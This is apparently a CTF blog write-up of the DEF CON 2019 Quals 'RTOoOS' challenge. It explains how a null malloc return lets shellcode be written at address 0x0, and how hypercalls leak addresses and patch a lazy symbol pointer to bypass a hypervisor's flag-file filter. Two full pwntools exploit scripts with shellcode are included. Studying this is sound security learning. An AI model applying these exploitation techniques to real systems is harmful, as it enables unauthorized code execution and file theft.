Skip to content
DelspoN
Go back

DEF CON 2019 Quals / RTOoOS

Edit page한국어

This is the challenge where, during the DEF CON quals, I grabbed the flag by brute-forcing with about 10 minutes left on the clock. Back then I couldn’t analyze it properly and hand-waved past a lot of it, so I went back and re-analyzed it. (Wondering whether it could be solved without brute force, I looked up other teams’ write-ups — they were all the same, lol.)

Solution

Analyzing the user program

The heart of this challenge is reversing.

➜  rtooos file crux
crux: data

They give you a data file, which you can load into IDA and analyze as code. In IDA every function is of the form sub_xxx. You can’t do dynamic debugging either, so you have to do static analysis — connecting to the remote and renaming functions by intuition.

CS420 - Homework 1
Student: Kurt Mandl
Submission Stardate 37357.84908798814
[RTOoOS>

It’s a simple shell program. (The challenge seems themed on a college homework assignment.)

image-20190708183914155

Above is the part that handles export. Since these are environment variables, they’re naturally handled as key-value pairs. The first for loop updates all existing environment variables that share the same name. The second for loop then adds new key-value pairs. (There’s also logic that handles the special environment-variable character $, and it looked like it might be usable to trigger a buffer overflow — but I didn’t use it in the exploit.)

The value is written into memory allocated by malloc. There’s something odd about that malloc.

image-20190708184328200

It can return null. When that happens, you can write to address 0x0 in the virtual-memory region. If the hypervisor had chosen a different offset this would be unsolvable, but fortunately it didn’t.

Actually allocating some variable a,

image-20190708184808226

and printing the value to compare against the data file,

image-20190708184830328

shows they’re identical.

image-20190708184555226

There’s a function at address 0x100,

image-20190708184604068

and it’s called from malloc. Praying that this memory region has both write and execute permissions, I overwrite shellcode into it.

from pwn import *
import time

#context.log_level='DEBUG'
context.arch="amd64"

shellcode = '''
//readFile(0x1508)
xor rax, rax
add rax, 0x1508
mov edi, 0x66
out dx, al
'''

shellcode = asm(shellcode)

payload  = "\x90"*0x100
payload += shellcode

p = process(['honcho', 'crux', '20'])

# allocate at 0x0
for i in xrange(7):
  p.sendlineafter("[RTOoOS> ", 'export a')

p.sendlineafter("[RTOoOS> ", 'export a=%s' % payload)

p.interactive()

image-20190708185220099

This lets us read out the hypervisor.

Analyzing the hypervisor

The core code of the hypervisor is as follows.

image-20190708185522466

It’s structured as hypercalls. If you try to read the flag file, it filters you out, so we need to bypass that. You can bypass it by changing the lazy symbol pointer of strcasestr to atoi.

But at this point we can only execute code — we don’t know any memory addresses. So we need a memory leak, and here a bit of brute force is required. I’m not sure whether it’s specific to this challenge’s environment, but from a few tests, on macOS the offset difference between the code region and the heap region was fixed. (This difference seems to change on each boot.) By brute-forcing based on the vm_mem value to compute the offset difference, we can learn the base address of the remote service’s code region, and with that we can patch the lazy symbol pointer table.

Exploit Code

from pwn import *
import time

#context.log_level='DEBUG'
context.arch="amd64"

'''
seg000:0000000000001508 a2              db 'honcho',0
'''

vmemAddr = 0x100002318
bin_base = 0x100000000
vmem     = 0x100096000 # different offset between code & heap per booting.
atoi_got = 0x100002040
filt_got = 0x100002170

shellcode = '''
/*
//readFile(0x1508)
xor rax, rax
add rax, 0x1508
mov edi, 0x66
out dx, al
*/

// puts(atoi_got)
xor rax, rax
sub rax, %s
mov edi, 0x64
out dx, al

// read(0, filt_got, ...)
xor rax, rax
sub rax, %s
mov edi, 0x63
out dx, al

// read(0, flag, ...)
xor rax, rax
add rax, 0x1000
mov edi, 0x63
out dx, al

// ReadFile(flag)
xor rax, rax
add rax, 0x1000
mov edi, 0x66
out dx, al
''' % (hex(vmem - atoi_got), hex(vmem - filt_got))

shellcode = asm(shellcode)

payload  = "\x90"*0x100
payload += shellcode

p = process(['honcho', 'crux', '20'])

# allocate at 0x0
for i in xrange(7):
  p.sendlineafter("[RTOoOS> ", 'export a')

p.sendlineafter("[RTOoOS> ", 'export a=%s' % payload)
atoi = u64(p.recvuntil("\x7f\x0a")[-7:-1].ljust(8,"\x00"))
log.info("atoi = 0x%x" % atoi)

p.send(p64(atoi))
time.sleep(0.1)
p.send('flag\x00')

p.interactive()

Result

image-20190708190242930


Edit page
Share this post:

Next Post
Phishing Analysis for Fun